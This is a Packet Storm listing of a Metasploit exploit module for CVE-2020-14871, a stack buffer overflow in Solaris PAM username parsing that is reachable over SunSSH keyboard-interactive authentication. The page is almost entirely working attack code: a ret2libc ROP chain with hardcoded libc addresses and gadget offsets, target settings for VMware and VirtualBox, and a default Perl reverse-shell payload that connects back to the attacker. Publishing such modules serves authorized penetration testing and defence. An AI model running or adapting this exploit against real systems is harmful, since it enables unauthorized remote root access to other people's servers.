Lucene search

K
packetstormWvuPACKETSTORM:160609
HistoryDec 17, 2020 - 12:00 a.m.

Oracle Solaris SunSSH PAM parse_user_name() Buffer Overflow

2020-12-1700:00:00
wvu
packetstormsecurity.com
338
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = NormalRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::CheckModule  
include Msf::Exploit::Remote::SSH  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Oracle Solaris SunSSH PAM parse_user_name() Buffer Overflow',  
'Description' => %q{  
This module exploits a stack-based buffer overflow in the Solaris PAM  
library's username parsing code, as used by the SunSSH daemon when the  
keyboard-interactive authentication method is specified.  
  
Tested against SunSSH 1.1.5 on Solaris 10u11 1/13 (x86) in VirtualBox,  
VMware Fusion, and VMware Player. Bare metal untested. Your addresses  
may vary.  
},  
'Author' => [  
'Jacob Thompson', # Analysis  
'Aaron Carreras', # Analysis  
'Jeffrey Martin', # Testing  
'Hacker Fantastic', # PoC  
'wvu' # Exploit  
],  
'References' => [  
['CVE', '2020-14871'],  
['URL', 'https://www.oracle.com/security-alerts/cpuoct2020.html'],  
['URL', 'https://www.fireeye.com/blog/threat-research/2020/11/critical-buffer-overflow-vulnerability-in-solaris-can-allow-remote-takeover.html'],  
['URL', 'https://hacker.house/lab/cve-2020-18471/'],  
['URL', 'https://twitter.com/hackerfantastic/status/1323431512822435841']  
],  
'DisclosureDate' => '2020-10-20', # Vendor advisory  
'License' => MSF_LICENSE,  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Privileged' => true,  
'Payload' => {  
# https://github.com/illumos/illumos-gate/blob/edd669a7ce20a2f7406e8f00489c426c0690f1bd/usr/src/lib/libpam/pam_framework.c#L615-L617  
'BadChars' => "\x00\x09\x20",  
'Encoder' => 'cmd/perl'  
},  
'Targets' => [  
[  
'SunSSH 1.1.5 / Solaris 10u11 1/13 (x86) / VMware',  
{  
'Ident' => 'SSH-2.0-Sun_SSH_1.1.5',  
'LibcBase' => 0xfeb90000  
}  
],  
[  
'SunSSH 1.1.5 / Solaris 10u11 1/13 (x86) / VirtualBox',  
{  
'Ident' => 'SSH-2.0-Sun_SSH_1.1.5',  
'LibcBase' => 0xfeb80000  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_perl',  
'SSH_TIMEOUT' => 2,  
'CheckModule' => 'auxiliary/scanner/ssh/ssh_version'  
},  
'Notes' => {  
'Stability' => [CRASH_SERVICE_RESTARTS],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [ACCOUNT_LOCKOUTS, IOC_IN_LOGS]  
}  
)  
)  
end  
  
def check  
# Run auxiliary/scanner/ssh/ssh_version  
checkcode = super  
  
return checkcode unless checkcode == CheckCode::Detected  
  
unless target['Ident'] == checkcode.details[:ident]  
return CheckCode::Safe("#{target.name} is an incompatible target.")  
end  
  
CheckCode::Appears("#{target.name} is a compatible target.")  
end  
  
def exploit  
print_status("Exploiting #{target.name}")  
  
ssh_client_opts = ssh_client_defaults.merge(  
port: rport,  
auth_methods: ['keyboard-interactive'],  
password: ret2libc, # HACK: This is really the username prompt on Solaris  
timeout: datastore['SSH_TIMEOUT']  
)  
  
ssh_client_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']  
  
print_status("Yeeting #{datastore['PAYLOAD']} at #{peer}")  
  
# Empty initial username  
Net::SSH.start(rhost, '', ssh_client_opts)  
rescue Net::SSH::AuthenticationFailed  
print_error(CheckCode::Safe.message)  
rescue Net::SSH::Disconnect  
print_warning('Disconnected, target selection may be incorrect!')  
rescue Net::SSH::ConnectionTimeout  
# Do nothing on success  
end  
  
# XXX: No ASLR, but libc base changes...  
def ret2libc  
buf = rand_text(516)  
buf << p32(target['LibcBase'] + 0x23904) # add esp, 8; ret  
buf << rand_text(4)  
buf << p32(0x08040101) # ecx  
buf << p32(0x0805ba07) # pop ecx; pop edx; pop ebp; ret  
buf << p32(target['LibcBase'] + 0x256d0) # exit(3)  
buf << p32(target['LibcBase'] + 0x91edf) # system(3)  
buf << rand_text(4)  
buf << p32(target['LibcBase'] + 0xae3f1) # push esp; and al, 0; push ecx; push edx; ret  
buf << payload.encoded  
end  
  
def p32(addr)  
[addr].pack('V')  
end  
  
end  
`